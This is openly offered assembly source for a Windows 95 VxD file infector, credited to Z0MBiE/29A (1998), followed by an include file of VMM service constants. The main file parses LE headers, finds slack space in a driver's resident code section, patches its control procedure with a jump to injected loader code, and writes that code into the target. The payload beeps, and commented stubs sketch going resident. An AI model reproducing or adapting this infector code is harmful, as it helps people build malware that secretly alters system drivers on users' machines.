哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫1.asm]哪
;
;                                VxD-infection
;
;  programmed in 1998 by Z0MBiE/29A
;  all rights reserved
;  *** NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A ***
;
;  ABOUT THIS PROGRAM
;    infected VxDs (file name given in command line) will beep
;
;    program writes 'OK' if file infected
;    program writes 'X'  if cant disassemble instruction
;       most of control_procs are written using control_dispatch macro, so
;       disassembler must understand not more than 5-10 opcodes...
;
;  INFECTION METHOD: (i think Navrhar-alike)
;
;    1. find DDEEntry
;    2. check its CODE section: it must be RESIDENT, CODE32, etc.
;    3. check enough free space in this CODE section
;    3. patch control_proc:
;        control_proc_x:   [some instructions-with-possible-fixups skipped]
;                          jmp virus
;        virus:            ; restore bytes, return control
;
;  COMMENTS
;    Also VxDs can be infected by adding virus section... but its not easy
;    task, becose all data tables are "packed", i.e. not aligned, so no free
;    space between these tables.
;    But there always exist free space between last data table ("per-page
;      checksum table") and first data page (as a rule LCOD, code section)
;    So its really possible to add one more objectentry to objecttable
;    But if this entry will be added we must add one or more entries to
;    following page-map-table, which also has no free space.
;    When its all will be done, we must _INSERT_ our code section between
;    last data page and non-resident-names-table, which is last in the file.
;    I will try to implement this method in next research, so results
;    will appears in nearest future.
;
;  TO INFECT VxDs-FILES USED:
;    1. sense what VxDs & Windows`95 will be forgotten -
;       and these files will be not infected by me ;)
;    2. talks about Navrhar virus - my greetings to author!
;    3. best music in the world - Scorpions
;    4. some documentation - see directory DOC, its all i found
;         also you can see winnt.h, but only header defined there
;    5. stuff from Reptile/29A - "how to compile VxD"
;    6. TASM, HIEW, IDA
;
;  COMMENTS
;    if you have something to say about VxD format/infection/...,
;    or if you have VxD format description -
;    mail me to z0mbie_29a@yahoo.com
;
;  last updated at  9-08-98
;

include                 INCLUDE\HIEW_VMM.INC    ; VxD services
include                 INCLUDE\VXD_CALL.INC    ; VxDCall/VMMCall macros

include                 INCLUDE\VMM.INC         ; some files from MASM
include                 INCLUDE\IFS.INC

                        model   tiny
                        p386
                        locals  __
                        jumps

;cgroup                  group   code, ldr, vxd
cgroup                  group   code, ldr

code                    segment word use16
                        assume  cs:cgroup, ds:cgroup, es:cgroup, ss:cgroup

                        org     100h

start:
                        mov     si, 0081h       ; command line

__1:                    mov     dx, si          ; skip spaces
                        lodsb
                        cmp     al, 13
                        jz      __exit
                        cmp     al, 32
                        je      __1

__3:                    lodsb                   ; find #13
                        cmp     al, 13
                        je      __2
                        cmp     al, 32
                        jne     __3
__2:                    sub     [si-1], al

                        mov     ah, 60h         ; convert/copy file name
                        mov     si, dx
                        lea     di, filename
                        int     21h

;                       lea     si, filename    ; store filename for
;                       lea     di, ldr_vxd_name; VxD-loader
;                       mov     cx, 128
;                       rep     movsb

                        mov     ax, 3d02h       ; open target file
                        lea     dx, filename
                        int     21h
                        jc      __exit
                        mov     handle, ax

                        lea     dx, mz          ; read MZ header
                        mov     cx, mz_size
                        call    readfile

                        xor     edx, edx        ; seek LE header
                        call    seek_edx_mz

                        lea     dx, le_header   ; read LE header
                        mov     cx, le_size
                        call    readfile

                        cmp     le_magic, 'EL'  ; check for valid LE header
                        jne     __close

                        ; check for valid number of OBJECT ENTRIES
                        cmp     le_object_table_entries, max_objs
                        ja      __close

                        ; check for valid number of PAGES
                        mov     le_number_of_memory_pages, max_pages
                        ja      __close

                        ; seek OBJECT TABLE
                        mov     edx, le_object_table_offset
                        call    seek_edx_mz

                        lea     dx, ot          ; read OBJECT TABLE
                        mov     cx, max_ot_size
                        call    readfile

                        ; seek PAGE MAP TABLE
                        mov     edx, le_object_page_map_table_offset
                        call    seek_edx_mz

                        lea     dx, pmt         ; read PAGE MAP TABLE
                        mov     cx, max_pmt_size
                        call    readfile

                        ; seek ENTRY TABLE
                        mov     edx, le_entry_table_offset
                        call    seek_edx_mz

                        ; read ENTRY TABLE
                        lea     dx, et
                        mov     cx, max_et_size
                        call    readfile

                        ; analyzing only 1st entry

                        ; check entry type
                        cmp     et.byte ptr 1, 11b  ; valid/32bit
                        jnz     __close

                        movzx   edi, et.word ptr 2
                        ; edi=section #, where DDBEntry info located

                        ; si=section offset
                        lea     esi, [edi-1]
                        imul    esi, size oe_struc
                        add     si, offset ot

                        ; check section flags
                        mov     eax, [si].oe_flags
                        and     ax, 0010001101000101b  ; 32-bit, resident,
                        cmp     ax, 0010000001000101b  ; normal, read, exec
                        jnz     __close

                        ; calculate free space in object section
                        mov     ecx, [si].oe_page_map_entries
                        imul    ecx, le_memory_page_size
                        sub     ecx, [si].oe_virtual_segment_size

                        ; check for enough free space
                        cmp     ecx, ldr_size
                        jb      __close

                        ; calculate our PAGE #
                        mov     eax, [si].oe_page_map_index
                        add     eax, [si].oe_page_map_entries
                        dec     eax

                        ; eax = PAGE MAP TABLE entry
                        mov     eax, pmt[eax*4-4]

                        test    eax, 0FF000000h   ; page type: normal
                        jnz     __close

                        ; calculate file offset
                        mov     dx, ax   ; dx = high page number
                        shr     eax, 16  ; eax = low page number
                        xor     ah, ah
                        add     ax, dx
                        dec     ax
                        imul    eax, le_memory_page_size
                        add     eax, le_data_pages_offset
                        ; now EAX=offset of PAGE with our code

                        add     eax, le_memory_page_size
                        sub     eax, ecx
                        ; now EAX=offset of OUR CODE in file

                        mov     our_offs, eax

                        ; increase section`s code size
                        add     [si].oe_virtual_segment_size, ldr_size

                        ; convert section # to file offset

                        mov     edx, pmt[edi*4-4]
                        mov     ax, dx
                        shr     edx, 16
                        xor     dh, dh
                        add     dx, ax
                        dec     dx
                        imul    edx, le_memory_page_size
                        add     edx, le_data_pages_offset
                        ; now EDX=offset of our section
                        mov     sect_offs, edx

                        add     edx, et.dword ptr 5
                        ; now EDX=offset of DDB Entry

                        ; seek DDBEntry
                        call    seek_edx

                        ; read DDBEntry
                        lea     dx, ddb
                        mov     cx, max_ddb_size
                        call    readfile

                        mov     edx, ddb.dword ptr 18h ; control_proc_X
                        ;; maybe its mistake
                        sub     edx, [si].oe_relocation_base_address
                        ;;
                        add     edx, sect_offs
                        ; now EDX=offset of control_proc_X in FILE
                        mov     cp_offs, edx

                        ; seek control_proc_X
                        call    seek_edx

                        lea     dx, cp          ; read control_proc_X
                        mov     cx, max_cp_size
                        call    readfile

                        ; analyze control_proc_x

                        lea     si, cp

__restart:              mov     di, si    ; pointer to byte to patch
                        xor     bx, bx    ; "free" space counter

__nextcmd:              cmp     si, offset cp + max_cp_size
                        jae     __close

                        mov     ax, [si]
                        call    get_cmd_size
                        jc      __close

                        add     si, cx

                        or      dx, dx
                        jnz     __restart

                        add     bx, cx
                        cmp     bx, 5
                        jb      __nextcmd

__patch:                ; okey, space found - calculate some values
                        ; to restore normal execution in VxD

                        mov     eax, sect_offs
                        sub     eax, our_offs
                        mov     save_0, eax

                        mov     al, [di]
                        mov     save_2, al
                        mov     eax, [di+1]
                        mov     save_4, eax

                        sub     di, offset cp
                        movzx   edi, di

                        mov     eax, edi
                        add     eax, ddb.dword ptr 18h
                        mov     save_1, eax
                        inc     eax
                        mov     save_3, eax

                        mov     eax, our_offs
                        add     eax, save_5-ldr_start+4
                        sub     eax, edi
                        sub     eax, cp_offs
                        neg     eax
                        mov     save_5, eax

                        mov     eax, our_offs
                        add     eax, ldr_entry - ldr_start
                        sub     eax, edi
                        sub     eax, cp_offs
                        sub     eax, 5

                        ; jmp to our code
                        mov     cp[edi].byte ptr 0, 0E9h
                        mov     cp[edi].dword ptr 1, eax

                        ; well, thats all - control_x_patches,
                        ; "save_x"-values calculated

;                       mov     ax, 4202h       ; seek end-of-file
;                       mov     bx, handle
;                       xor     cx, cx
;                       cwd
;                       int     21h
;
;                       ; store file position
;                       mov     vxd_pos.word ptr 2, dx
;                       mov     vxd_pos.word ptr 0, ax
;
;                       mov     ah, 40h         ; write main code
;                       lea     dx, vxd_start
;                       mov     cx, vxd_size
;                       int     21h

                        ; seek file (free space in code section)
                        mov     edx, our_offs
                        call    seek_edx

                        ; write our code
                        lea     dx, ldr_start
                        mov     cx, ldr_size
                        call    writefile

                        ; seek OBJECT TABLE
                        mov     edx, le_object_table_offset
                        call    seek_edx_mz

                        ; write OBJECT TABLE
                        ; - only one change made, physical section size
                        ;   increased by loader size
                        lea     dx, ot
                        mov     ecx, le_object_table_entries
                        imul    ecx, size oe_struc
                        call    writefile

                        ; seek control_proc_X
                        mov     edx, cp_offs
                        call    seek_edx

                        lea     dx, cp          ; write control_proc_X
                        mov     cx, max_cp_size
                        call    writefile

                        mov     al, 'O'         ; success
                        int     29h
                        mov     al, 'K'
                        int     29h

__close:                mov     ah, 3eh         ; close file
                        mov     bx, handle
                        int     21h

__exit:                 mov     ax, 4c00h       ; exit to DOS
                        int     21h


                        ; this is small disassembler
                        ;
                        ; input:
                        ;   al=opcode (byte ptr 0)
                        ;   ah=opcode (byte ptr 1)
                        ;
                        ; output:
                        ;   CF=0:  success
                        ;            cx = command size
                        ;            dx:
                        ;              0  normal command
                        ;              1  command may contain fixups
                        ;   CF=1:  error
                        ;            cx/dx modified
                        ;

get_cmd_size:           xor     dx, dx

                        mov     cx, 2

                        push    ax              ; jcc xx
                        and     al, 0F0h
                        cmp     al, 070h
                        pop     ax
                        je      __rt

                        mov     cx, 3

                        cmp     ax, 0E883h      ; sub eax, xx
                        je      __rt
                        cmp     ax, 0F883h      ; cmp eax, xx
                        je      __rt

                        mov     cx, 6

                        push    ax
                        and     ax, 0F0FFh
                        cmp     ax, 0800Fh
                        pop     ax
                        je      __rt

                        mov     cx, 7

                        inc     dx
                        cmp     ax, 005F6h  ; test byte ptr [yyyyyyyy], xx
                        je      __rt
                        dec     dx

                        mov     al, 'X'     ; unknown command
                        int     29h

                        stc
                        ret

__rt:                   clc
                        ret

readfile:               pusha                   ; readfile
                        mov     ah, 3fh
                        mov     bx, handle
                        int     21h
                        popa
                        ret

writefile:              pusha                   ; writefile
                        mov     ah, 40h
                        mov     bx, handle
                        int     21h
                        popa
                        ret

seek_edx_mz:            add     edx, mz_neptr   ; seek(edx). newexe-based

seek_edx:               pusha                   ; seek(edx)
                        push    edx
                        pop     dx
                        pop     cx
                        mov     ax, 4200h
                        mov     bx, handle
                        int     21h
                        popa
                        ret


filename                db      256 dup (?)   ; file we`re infecting

handle                  dw      ?   ; current file handle

sect_offs               dd      ?   ; offset of our section     [ABSOLUTE]

                        ; following 2 dwords
                        ; are useful for STEALTH technology

cp_offs                 dd      ?   ; offset of control_proc_x  [ABSOLUTE]
our_offs                dd      ?   ; offset of our code        [ABSOLUTE]

mz:
mz_mz                   dw      ?
mz_last512              dw      ?
mz_num512               dw      ?
mz_relnum               dw      ?
mz_headersize           dw      ?
mz_minmem               dw      ?
mz_maxmem               dw      ?
mz_ss                   dw      ?
mz_sp                   dw      ?
mz_checksum             dw      ?
mz_ip                   dw      ?
mz_cs                   dw      ?
mz_relofs               dw      ?
mz_ovrnum               dw      ?
mz_reserved             db      32 dup (?)
mz_neptr                dd      ?
mz_size                 equ     $-mz

le_header:
le_magic                                dw      ?
le_byte_order                           db      ?
le_word_order                           db      ?
le_exec_format_level                    dd      ?
le_cpu_type                             dw      ?
le_target_os                            dw      ?
le_module_version                       dd      ?
le_module_type_flags                    dd      ?
le_number_of_memory_pages               dd      ?
le_initial_cs                           dd      ?
le_initial_eip                          dd      ?
le_initial_ss                           dd      ?
le_initial_esp                          dd      ?
le_memory_page_size                     dd      ?
le_bytes_on_last_page                   dd      ?
le_fixup_section_size                   dd      ?
le_fixup_section_checksum               dd      ?
le_loader_section_size                  dd      ?
le_loader_section_checksum              dd      ?
le_object_table_offset                  dd      ?
le_object_table_entries                 dd      ?
le_object_page_map_table_offset         dd      ?
le_object_iterate_data_map_offset       dd      ?
le_resource_table_offset                dd      ?
le_resource_table_entries               dd      ?
le_resident_names_table_offset          dd      ?
le_entry_table_offset                   dd      ?
le_module_directives_table_offset       dd      ?
le_module_directives_table_entries      dd      ?
le_fixup_page_table_offset              dd      ?
le_fixup_record_table_offset            dd      ?
le_imported_module_names_table_offset   dd      ?
le_imported_modules_count               dd      ?
le_imported_procedure_name_table_offset dd      ?
le_per_page_checksum_table_offset       dd      ?
le_data_pages_offset                    dd      ?
le_preload_page_count                   dd      ?
le_nonresident_names_table_offset       dd      ?
le_nonresident_names_table_length       dd      ?
le_nonresident_names_table_checksum     dd      ?
le_automatic_data_object                dd      ?
le_debug_information_offset             dd      ?
le_debug_information_length             dd      ?
le_preload_instance_pages_number        dd      ?
le_demand_instance_pages_number         dd      ?
le_extra_heap_allocation                dd      ?
le_unknown                              dd      ?
le_size                 equ     $-le_header

                        ; vxd`s object table object entry structure

oe_struc                struc
oe_virtual_segment_size                 dd      ?
oe_relocation_base_address              dd      ?
oe_flags                                dd      ?
oe_page_map_index                       dd      ?
oe_page_map_entries                     dd      ?
oe_reserved                             dd      ?
                        ends

                        ; vxd`s object table
max_objs                equ     32
ot                      oe_struc   max_objs dup (?)
max_ot_size             equ        $-ot

                        ; page-map table
max_pages               equ     64
pmt                     dd      max_pages dup (?)
max_pmt_size            equ     $-pmt

                        ; entry-table (really its not a table)
max_et_size             equ     256
et                      db      max_et_size dup (?)

                        ; DDBEntry structure
max_ddb_size            equ     64
ddb                     db      max_ddb_size dup (?)

                        ; control_proc_x we`re patching
max_cp_size             equ     256
cp                      db      max_cp_size dup (?)

                        align   16      ; important!
code                    ends

ldr                     segment word use32     ; 32-bit VxD-loader
                        assume  cs:ldr, ds:ldr, es:ldr, ss:ldr

ldr_start:              nop

ldr_entry:              pushf           ; <- important
                        pushad

                        call    entry   ; where am i?
entry:                  pop     ebp
                        sub     ebp, entry - ldr_start

                        lea     eax, [ebp+12345678h]  ; make EAX points to
save_0                  equ     dword ptr $-4         ; section beginning

                        ; restore original bytes

                        ; can anybody explain it?
                        ; section attributes was exec+readonly, i.e.
                        ; not writeable, but following patch works

                        mov     byte  ptr ds:[eax+12345678h], 12h
save_1                  equ     dword ptr $-5
save_2                  equ     byte  ptr $-1

                        mov     dword ptr ds:[eax+12345678h], 12345678h
save_3                  equ     dword ptr $-8
save_4                  equ     dword ptr $-4

                        call    beep

;                       ; now control_proc_x restored, and we can
;                       ; go resident
;
;                       ; alloocate some memory
;                       push    PAGEFIXED + PAGEZEROINIT  ; flags
;                       push    0        ; PhysAddr      @dword, unused
;                       push    0        ; maxPhys       max page #, unused
;                       push    0        ; minPhys       min page #, unused
;                       push    0Fh      ; ALignMask     64k-aligned
;                       push    0        ; VM            0 if pType=PG_SYS
;                       push    PG_SYS   ; pType         alloc in sys area
;                       push    vxd_pages; nPages        page count
;                       VMMcall PageAllocate
;                       add     esp, 4*8
;
;                       mov     ecx, eax
;                       or      ecx, edx
;                       jz      __error
;
;                     ; mov     pagehandle[ebp], eax
;                     ; mov     pageaddress[ebp], edx
;
;                       mov     edi, edx   ; edi = our address
;
;                       int 3
;
;                       lea     edx, ldr_vxd_name[ebp]
;                       VMMcall OpenFile
;                       jc      __error
;                       xchg    ebx, eax

__error:                popad
                        popf

                        db      0e9h
save_5                  dd      12345678h

beep:                   in      al, 0B6h
                        out     43h, al

                        mov     ax, 123456h/3300    ; 3300 Hz
                        out     42h, al
                        mov     al, ah
                        out     42h, al

                        in      al, 61h
                        or      al, 3
                        out     61h, al

                        mov     ecx, 3000000
__1:                    nop
                        loop    __1

                        in      al, 61h
                        and     al, not 3
                        out     61h, al

                        ret

;ldr_vxd_name            db      128 dup ('?')

ldr_end:
ldr_size                equ     ldr_end - ldr_start

                        align   16      ; important!
ldr                     ends

;vxd                     segment word use32     ; 32-bit VxD-handler
;                        assume  cs:vxd, ds:vxd, es:vxd, ss:vxd
;
;vxd_start:
;
;                        nop
;                        nop
;                        nop
;
;vxd_end:
;vxd_size                equ     vxd_end - vxd_start
;vxd_pages               equ     (vxd_size + 4095) / 4096
;vxd                     ends
;
                         end     start



哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫1.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[include\hiew_vmm.inc]哪
;         [HiewVMM 5.80]

;    [0001.VMM]
VMM_Get_VMM_Version             equ     000010000h
VMM_Get_Cur_VM_Handle           equ     000010001h
VMM_Test_Cur_VM_Handle          equ     000010002h
VMM_Get_Sys_VM_Handle           equ     000010003h
VMM_Test_Sys_VM_Handle          equ     000010004h
VMM_Validate_VM_Handle          equ     000010005h
VMM_Get_VMM_Reenter_Count       equ     000010006h
VMM_Begin_Reentrant_Execution   equ     000010007h
VMM_End_Reentrant_Execution     equ     000010008h
VMM_Install_V86_Break_Point     equ     000010009h
VMM_Remove_V86_Break_Point      equ     00001000Ah
VMM_Allocate_V86_Call_Back      equ     00001000Bh
VMM_Allocate_PM_Call_Back       equ     00001000Ch
VMM_Call_When_VM_Returns        equ     00001000Dh
VMM_Schedule_Global_Event       equ     00001000Eh
VMM_Schedule_VM_Event           equ     00001000Fh
VMM_Call_Global_Event           equ     000010010h
VMM_Call_VM_Event               equ     000010011h
VMM_Cancel_Global_Event         equ     000010012h
VMM_Cancel_VM_Event             equ     000010013h
VMM_Call_Priority_VM_Event      equ     000010014h
VMM_Cancel_Priority_VM_Event    equ     000010015h
VMM_Get_NMI_Handler_Addr        equ     000010016h
VMM_Set_NMI_Handler_Addr        equ     000010017h
VMM_Hook_NMI_Event              equ     000010018h
VMM_Call_When_VM_Ints_Enabled   equ     000010019h
VMM_Enable_VM_Ints              equ     00001001Ah
VMM_Disable_VM_Ints             equ     00001001Bh
VMM_Map_Flat                    equ     00001001Ch
VMM_Map_Lin_To_VM_Addr          equ     00001001Dh
VMM_Adjust_Exec_Priority        equ     00001001Eh
VMM_Begin_Critical_Section      equ     00001001Fh
VMM_End_Critical_Section        equ     000010020h
VMM_End_Crit_And_Suspend        equ     000010021h
VMM_Claim_Critical_Section      equ     000010022h
VMM_Release_Critical_Section    equ     000010023h
VMM_Call_When_Not_Critical      equ     000010024h
VMM_Create_Semaphore            equ     000010025h
VMM_Destroy_Semaphore           equ     000010026h
VMM_Wait_Semaphore              equ     000010027h
VMM_Signal_Semaphore            equ     000010028h
VMM_Get_Crit_Section_Status     equ     000010029h
VMM_Call_When_Task_Switched     equ     00001002Ah
VMM_Suspend_VM                  equ     00001002Bh
VMM_Resume_VM                   equ     00001002Ch
VMM_No_Fail_Resume_VM           equ     00001002Dh
VMM_Nuke_VM                     equ     00001002Eh
VMM_Crash_Cur_VM                equ     00001002Fh
VMM_Get_Execution_Focus         equ     000010030h
VMM_Set_Execution_Focus         equ     000010031h
VMM_Get_Time_Slice_Priority     equ     000010032h
VMM_Set_Time_Slice_Priority     equ     000010033h
VMM_Get_Time_Slice_Granularity  equ     000010034h
VMM_Set_Time_Slice_Granularity  equ     000010035h
VMM_Get_Time_Slice_Info         equ     000010036h
VMM_Adjust_Execution_Time       equ     000010037h
VMM_Release_Time_Slice          equ     000010038h
VMM_Wake_Up_VM                  equ     000010039h
VMM_Call_When_Idle              equ     00001003Ah
VMM_Get_Next_VM_Handle          equ     00001003Bh
VMM_Set_Global_Time_Out         equ     00001003Ch
VMM_Set_VM_Time_Out             equ     00001003Dh
VMM_Cancel_Time_Out             equ     00001003Eh
VMM_Get_System_Time             equ     00001003Fh
VMM_Get_VM_Exec_Time            equ     000010040h
VMM_Hook_V86_Int_Chain          equ     000010041h
VMM_Get_V86_Int_Vector          equ     000010042h
VMM_Set_V86_Int_Vector          equ     000010043h
VMM_Get_PM_Int_Vector           equ     000010044h
VMM_Set_PM_Int_Vector           equ     000010045h
VMM_Simulate_Int                equ     000010046h
VMM_Simulate_Iret               equ     000010047h
VMM_Simulate_Far_Call           equ     000010048h
VMM_Simulate_Far_Jmp            equ     000010049h
VMM_Simulate_Far_Ret            equ     00001004Ah
VMM_Simulate_Far_Ret_N          equ     00001004Bh
VMM_Build_Int_Stack_Frame       equ     00001004Ch
VMM_Simulate_Push               equ     00001004Dh
VMM_Simulate_Pop                equ     00001004Eh
VMM_HeapAllocate                equ     00001004Fh
VMM_HeapReAllocate              equ     000010050h
VMM_HeapFree                    equ     000010051h
VMM_HeapGetSize                 equ     000010052h
VMM_PageAllocate                equ     000010053h
VMM_PageReAllocate              equ     000010054h
VMM_PageFree                    equ     000010055h
VMM_PageLock                    equ     000010056h
VMM_PageUnLock                  equ     000010057h
VMM_PageGetSizeAddr             equ     000010058h
VMM_PageGetAllocInfo            equ     000010059h
VMM_GetFreePageCount            equ     00001005Ah
VMM_GetSysPageCount             equ     00001005Bh
VMM_GetVMPgCount                equ     00001005Ch
VMM_MapIntoV86                  equ     00001005Dh
VMM_PhysIntoV86                 equ     00001005Eh
VMM_TestGlobalV86Mem            equ     00001005Fh
VMM_ModifyPageBits              equ     000010060h
VMM_CopyPageTable               equ     000010061h
VMM_LinMapIntoV86               equ     000010062h
VMM_LinPageLock                 equ     000010063h
VMM_LinPageUnLock               equ     000010064h
VMM_SetResetV86Pageable         equ     000010065h
VMM_GetV86PageableArray         equ     000010066h
VMM_PageCheckLinRange           equ     000010067h
VMM_PageOutDirtyPages           equ     000010068h
VMM_PageDiscardPages            equ     000010069h
VMM_GetNulPageHandle            equ     00001006Ah
VMM_GetFirstV86Page             equ     00001006Bh
VMM_MapPhysToLinear             equ     00001006Ch
VMM_GetAppFlatDSAlias           equ     00001006Dh
VMM_SelectorMapFlat             equ     00001006Eh
VMM_GetDemandPageInfo           equ     00001006Fh
VMM_GetSetPageOutCount          equ     000010070h
VMM_Hook_V86_Page               equ     000010071h
VMM_Assign_Device_V86_Pages     equ     000010072h
VMM_DeAssign_Device_V86_Pages   equ     000010073h
VMM_Get_Device_V86_Pages_Array  equ     000010074h
VMM_MMGR_SetNULPageAddr         equ     000010075h
VMM_Allocate_GDT_Selector       equ     000010076h
VMM_Free_GDT_Selector           equ     000010077h
VMM_Allocate_LDT_Selector       equ     000010078h
VMM_Free_LDT_Selector           equ     000010079h
VMM_BuildDescriptorDWORDs       equ     00001007Ah
VMM_GetDescriptor               equ     00001007Bh
VMM_SetDescriptor               equ     00001007Ch
VMM_MMGR_Toggle_HMA             equ     00001007Dh
VMM_Get_Fault_Hook_Addrs        equ     00001007Eh
VMM_Hook_V86_Fault              equ     00001007Fh
VMM_Hook_PM_Fault               equ     000010080h
VMM_Hook_VMM_Fault              equ     000010081h
VMM_Begin_Nest_V86_Exec         equ     000010082h
VMM_Begin_Nest_Exec             equ     000010083h
VMM_Exec_Int                    equ     000010084h
VMM_Resume_Exec                 equ     000010085h
VMM_End_Nest_Exec               equ     000010086h
VMM_Allocate_PM_App_CB_Area     equ     000010087h
VMM_Get_Cur_PM_App_CB           equ     000010088h
VMM_Set_V86_Exec_Mode           equ     000010089h
VMM_Set_PM_Exec_Mode            equ     00001008Ah
VMM_Begin_Use_Locked_PM_Stack   equ     00001008Bh
VMM_End_Use_Locked_PM_Stack     equ     00001008Ch
VMM_Save_Client_State           equ     00001008Dh
VMM_Restore_Client_State        equ     00001008Eh
VMM_Exec_VxD_Int                equ     00001008Fh
VMM_Hook_Device_Service         equ     000010090h
VMM_Hook_Device_V86_API         equ     000010091h
VMM_Hook_Device_PM_API          equ     000010092h
VMM_System_Control              equ     000010093h
VMM_Simulate_IO                 equ     000010094h
VMM_Install_Mult_IO_Handlers    equ     000010095h
VMM_Install_IO_Handler          equ     000010096h
VMM_Enable_Global_Trapping      equ     000010097h
VMM_Enable_Local_Trapping       equ     000010098h
VMM_Disable_Global_Trapping     equ     000010099h
VMM_Disable_Local_Trapping      equ     00001009Ah
VMM_List_Create                 equ     00001009Bh
VMM_List_Destroy                equ     00001009Ch
VMM_List_Allocate               equ     00001009Dh
VMM_List_Attach                 equ     00001009Eh
VMM_List_Attach_Tail            equ     00001009Fh
VMM_List_Insert                 equ     0000100A0h
VMM_List_Remove                 equ     0000100A1h
VMM_List_Deallocate             equ     0000100A2h
VMM_List_Get_First              equ     0000100A3h
VMM_List_Get_Next               equ     0000100A4h
VMM_List_Remove_First           equ     0000100A5h
VMM_AddInstanceItem             equ     0000100A6h
VMM_Allocate_Device_CB_Area     equ     0000100A7h
VMM_Allocate_Global_V86_Data_Area equ   0000100A8h
VMM_Allocate_Temp_V86_Data_Area equ     0000100A9h
VMM_Free_Temp_V86_Data_Area     equ     0000100AAh
VMM_Get_Profile_Decimal_Int     equ     0000100ABh
VMM_Convert_Decimal_String      equ     0000100ACh
VMM_Get_Profile_Fixed_Point     equ     0000100ADh
VMM_Convert_Fixed_Point_String  equ     0000100AEh
VMM_Get_Profile_Hex_Int         equ     0000100AFh
VMM_Convert_Hex_String          equ     0000100B0h
VMM_Get_Profile_Boolean         equ     0000100B1h
VMM_Convert_Boolean_String      equ     0000100B2h
VMM_Get_Profile_String          equ     0000100B3h
VMM_Get_Next_Profile_String     equ     0000100B4h
VMM_Get_Environment_String      equ     0000100B5h
VMM_Get_Exec_Path               equ     0000100B6h
VMM_Get_Config_Directory        equ     0000100B7h
VMM_OpenFile                    equ     0000100B8h
VMM_Get_PSP_Segment             equ     0000100B9h
VMM_GetDOSVectors               equ     0000100BAh
VMM_Get_Machine_Info            equ     0000100BBh
VMM_GetSet_HMA_Info             equ     0000100BCh
VMM_Set_System_Exit_Code        equ     0000100BDh
VMM_Fatal_Error_Handler         equ     0000100BEh
VMM_Fatal_Memory_Error          equ     0000100BFh
VMM_Update_System_Clock         equ     0000100C0h
VMM_Test_Debug_Installed        equ     0000100C1h
VMM_Out_Debug_String            equ     0000100C2h
VMM_Out_Debug_Chr               equ     0000100C3h
VMM_In_Debug_Chr                equ     0000100C4h
VMM_Debug_Convert_Hex_Binary    equ     0000100C5h
VMM_Debug_Convert_Hex_Decimal   equ     0000100C6h
VMM_Debug_Test_Valid_Handle     equ     0000100C7h
VMM_Validate_Client_Ptr         equ     0000100C8h
VMM_Test_Reenter                equ     0000100C9h
VMM_Queue_Debug_String          equ     0000100CAh
VMM_Log_Proc_Call               equ     0000100CBh
VMM_Debug_Test_Cur_VM           equ     0000100CCh
VMM_Get_PM_Int_Type             equ     0000100CDh
VMM_Set_PM_Int_Type             equ     0000100CEh
VMM_Get_Last_Updated_System_Time equ    0000100CFh
VMM_Get_Last_Updated_VM_Exec_Time equ   0000100D0h
VMM_Test_DBCS_Lead_Byte         equ     0000100D1h
VMM_AddFreePhysPage             equ     0000100D2h
VMM_PageResetHandlePAddr        equ     0000100D3h
VMM_SetLastV86Page              equ     0000100D4h
VMM_GetLastV86Page              equ     0000100D5h
VMM_MapFreePhysReg              equ     0000100D6h
VMM_UnmapFreePhysReg            equ     0000100D7h
VMM_XchgFreePhysReg             equ     0000100D8h
VMM_SetFreePhysRegCalBk         equ     0000100D9h
VMM_Get_Next_Arena              equ     0000100DAh
VMM_Get_Name_Of_Ugly_TSR        equ     0000100DBh
VMM_Get_Debug_Options           equ     0000100DCh
VMM_Set_Physical_HMA_Alias      equ     0000100DDh
VMM_GetGlblRng0V86IntBase       equ     0000100DEh
VMM_Add_Global_V86_Data_Area    equ     0000100DFh
VMM_GetSetDetailedVMError       equ     0000100E0h
VMM_Is_Debug_Chr                equ     0000100E1h
VMM_Clear_Mono_Screen           equ     0000100E2h
VMM_Out_Mono_Chr                equ     0000100E3h
VMM_Out_Mono_String             equ     0000100E4h
VMM_Set_Mono_Cur_Pos            equ     0000100E5h
VMM_Get_Mono_Cur_Pos            equ     0000100E6h
VMM_Get_Mono_Chr                equ     0000100E7h
VMM_Locate_Byte_In_ROM          equ     0000100E8h
VMM_Hook_Invalid_Page_Fault     equ     0000100E9h
VMM_Unhook_Invalid_Page_Fault   equ     0000100EAh
VMM_Set_Delete_On_Exit_File     equ     0000100EBh
VMM_Close_VM                    equ     0000100ECh
VMM_Enable_Touch_1st_Meg        equ     0000100EDh
VMM_Disable_Touch_1st_Meg       equ     0000100EEh
VMM_Install_Exception_Handler   equ     0000100EFh
VMM_Remove_Exception_Handler    equ     0000100F0h
VMM_Get_Crit_Status_No_Block    equ     0000100F1h
VMM_GetLastUpdatedThreadExecTime equ    0000100F2h
VMM_Trace_Out_Service           equ     0000100F3h
VMM_Debug_Out_Service           equ     0000100F4h
VMM_Debug_Flags_Service         equ     0000100F5h
VMM_VMMAddImportModuleName      equ     0000100F6h
VMM_VMM_Add_DDB                 equ     0000100F7h
VMM_VMM_Remove_DDB              equ     0000100F8h
VMM_Test_VM_Ints_Enabled        equ     0000100F9h
VMM_BlockOnID                   equ     0000100FAh
VMM_Schedule_Thread_Event       equ     0000100FBh
VMM_Cancel_Thread_Event         equ     0000100FCh
VMM_Set_Thread_Time_Out         equ     0000100FDh
VMM_Set_Async_Time_Out          equ     0000100FEh
VMM_AllocateThreadDataSlot      equ     0000100FFh
VMM_FreeThreadDataSlot          equ     000010100h
VMM_CreateMutex                 equ     000010101h
VMM_DestroyMutex                equ     000010102h
VMM_GetMutexOwner               equ     000010103h
VMM_Call_When_Thread_Switched   equ     000010104h
VMM_VMMCreateThread             equ     000010105h
VMM_GetThreadExecTime           equ     000010106h
VMM_VMMTerminateThread          equ     000010107h
VMM_Get_Cur_Thread_Handle       equ     000010108h
VMM_Test_Cur_Thread_Handle      equ     000010109h
VMM_Get_Sys_Thread_Handle       equ     00001010Ah
VMM_Test_Sys_Thread_Handle      equ     00001010Bh
VMM_Validate_Thread_Handle      equ     00001010Ch
VMM_Get_Initial_Thread_Handle   equ     00001010Dh
VMM_Test_Initial_Thread_Handle  equ     00001010Eh
VMM_Debug_Test_Valid_Thread_Handle equ  00001010Fh
VMM_Debug_Test_Cur_Thread       equ     000010110h
